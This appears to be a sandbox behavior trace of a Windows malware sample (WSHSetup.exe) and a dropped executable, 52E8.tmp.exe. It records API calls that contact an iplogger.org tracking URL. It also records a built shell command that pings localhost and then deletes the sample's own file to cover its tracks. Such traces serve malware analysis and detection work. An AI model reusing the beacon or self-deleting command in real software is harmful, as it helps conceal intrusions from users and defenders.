	[0068.817] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0068.818] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0xb2) returned 0x119bc70
	[0068.818] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x119bc70, dwNumberOfBytesToRead=0xb2, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x119bc70*, lpdwNumberOfBytesRead=0xf3ce8c*=0xb2) returned 1
	[0068.818] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0068.818] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0068.818] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0068.818] InternetCrackUrlW (in: lpszUrl="https://iplogger.org/1e6L37", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce44 | out: lpUrlComponents=0xf3ce44) returned 1
	[0068.818] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x1a) returned 0x119e360
	[0068.818] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x10) returned 0x11a0398
	[0068.818] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x119e360 | out: hHeap=0x1100000) returned 1
	[0068.818] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x11a0398 | out: hHeap=0x1100000) returned 1
	[0068.818] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0068.818] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://iplogger.org/1e6L37", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x800000, dwContext=0x0) returned 0xcc000c
	[0070.901] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3cebc, dwFlags=0x0, dwContext=0x0) returned 1
	[0070.902] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x74) returned 0x11d5260
	[0070.902] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11d5260, dwNumberOfBytesToRead=0x74, lpdwNumberOfBytesRead=0xf3cebc | out: lpBuffer=0x11d5260*, lpdwNumberOfBytesRead=0xf3cebc*=0x74) returned 1
	[0070.902] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3cebc, dwFlags=0x0, dwContext=0x0) returned 1
	[0070.902] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0070.902] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0070.902] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x11d5260 | out: hHeap=0x1100000) returned 1
	[0070.902] WSACleanup () returned 0
	[0070.902] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf3ccc0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wshsetup.exe")) returned 0x24
	[0070.902] wsprintfW (in: param_1=0xf3cab8, param_2="/c ping 127.0.0.1 && del \"%s\" >> NUL" | out: param_1="/c ping 127.0.0.1 && del \"C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe\" >> NUL") returned 70
	[0070.902] GetEnvironmentVariableW (in: lpName="ComSpec", lpBuffer=0xf3ccc0, nSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0070.902] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\WINDOWS\\system32\\cmd.exe", lpParameters="/c ping 127.0.0.1 && del \"C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe\" >> NUL", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0071.427] ExitProcess (uExitCode=0x0) 

Thread:
	id = 2
	os_tid = 0x117c


Thread:
	id = 3
	os_tid = 0x1170


Thread:
	id = 4
	os_tid = 0xd18


Thread:
	id = 5
	os_tid = 0xd4c


Thread:
	id = 6
	os_tid = 0xddc


Thread:
	id = 7
	os_tid = 0xe4c


Thread:
	id = 8
	os_tid = 0xf4


Thread:
	id = 9
	os_tid = 0xfa0


Thread:
	id = 34
	os_tid = 0x1244


Process:
	id = "2"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x4c27d000"
	os_pid = "0x5b0"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "rpc_server"
	parent_id = "1"
	os_parent_pid = "0x23c"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f8bc" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 10
	os_tid = 0x11a8


Thread:
	id = 11
	os_tid = 0x9bc


Thread:
	id = 12
	os_tid = 0x7ec


Thread:
	id = 13
	os_tid = 0x770


Thread:
	id = 14
	os_tid = 0x7d8


Thread:
	id = 15
	os_tid = 0x698


Thread:
	id = 16
	os_tid = 0x690


Thread:
	id = 17
	os_tid = 0x5fc


Thread:
	id = 18
	os_tid = 0x5f8


Thread:
	id = 19
	os_tid = 0x5f4


Thread:
	id = 20
	os_tid = 0x5b4


Process:
	id = "3"
	image_name = "52e8.tmp.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\52e8.tmp.exe"
	page_root = "0x1225c000"
	os_pid = "0xb50"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x118c"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 21
	os_tid = 0xdf4

	[0066.480] GetStartupInfoW (in: lpStartupInfo=0xdefb34 | out: lpStartupInfo=0xdefb34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0066.481] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0066.481] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2c80000
	[0066.554] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000
	[0066.554] GetProcAddress (hModule=0x772d0000, lpProcName="FlsAlloc") returned 0x772e4ae0
	[0066.645] GetProcAddress (hModule=0x772d0000, lpProcName="FlsGetValue") returned 0x772e4b20
	[0066.645] GetProcAddress (hModule=0x772d0000, lpProcName="FlsSetValue") returned 0x772e4b40
	[0066.645] GetProcAddress (hModule=0x772d0000, lpProcName="FlsFree") returned 0x772e4b00
	[0066.646] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x214) returned 0x2c805a8
	[0066.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000
	[0066.646] GetCurrentThreadId () returned 0xdf4
	[0066.646] GetStartupInfoW (in: lpStartupInfo=0xdefad0 | out: lpStartupInfo=0xdefad0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0066.647] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x800) returned 0x2c807c8
	[0066.647] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0066.647] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0066.647] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0066.647] SetHandleCount (uNumber=0x20) returned 0x20
	[0066.647] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe\" "
	[0066.647] GetEnvironmentStringsW () returned 0x3893d0*
	[0066.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1470, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1470
	[0066.647] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x5be) returned 0x2c80fd0
	[0066.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1470, lpMultiByteStr=0x2c80fd0, cbMultiByte=1470, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1470
	[0066.647] FreeEnvironmentStringsW (penv=0x3893d0) returned 1
	[0066.647] GetLastError () returned 0xcb
	[0066.647] SetLastError (dwErrCode=0xcb) 
	[0066.647] GetLastError () returned 0xcb
	[0066.647] SetLastError (dwErrCode=0xcb) 
	[0066.647] GetLastError () returned 0xcb
	[0066.647] SetLastError (dwErrCode=0xcb) 
	[0066.647] GetACP () returned 0x4e4
	[0066.647] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x220) returned 0x2c81598
	[0066.647] GetLastError () returned 0xcb
	[0066.647] SetLastError (dwErrCode=0xcb) 
	[0066.647] IsValidCodePage (CodePage=0x4e4) returned 1
	[0066.647] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xdefa98 | out: lpCPInfo=0xdefa98) returned 1
	[0066.647] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xdef564 | out: lpCPInfo=0xdef564) returned 1
	[0066.648] GetLastError () returned 0xcb
	[0066.648] SetLastError (dwErrCode=0xcb) 
	[0066.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xdef978, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0066.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xdef978, cbMultiByte=256, lpWideCharStr=0xdef2e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0066.648] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0xdef578 | out: lpCharType=0xdef578) returned 1
	[0066.648] GetLastError () returned 0xcb
	[0066.648] SetLastError (dwErrCode=0xcb) 
	[0066.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xdef978, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0066.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xdef978, cbMultiByte=256, lpWideCharStr=0xdef2a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0066.648] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0066.648] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xdef098, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0066.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xdef878, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x053:\x88°úÞ", lpUsedDefaultChar=0x0) returned 256
	[0066.648] GetLastError () returned 0xcb
	[0066.648] SetLastError (dwErrCode=0xcb) 
	[0066.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xdef978, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0066.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xdef978, cbMultiByte=256, lpWideCharStr=0xdef2c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0066.648] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0066.648] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xdef0b8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0066.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xdef778, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x053:\x88°úÞ", lpUsedDefaultChar=0x0) returned 256
	[0066.648] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3195d0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\52e8.tmp.exe")) returned 0x2c
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
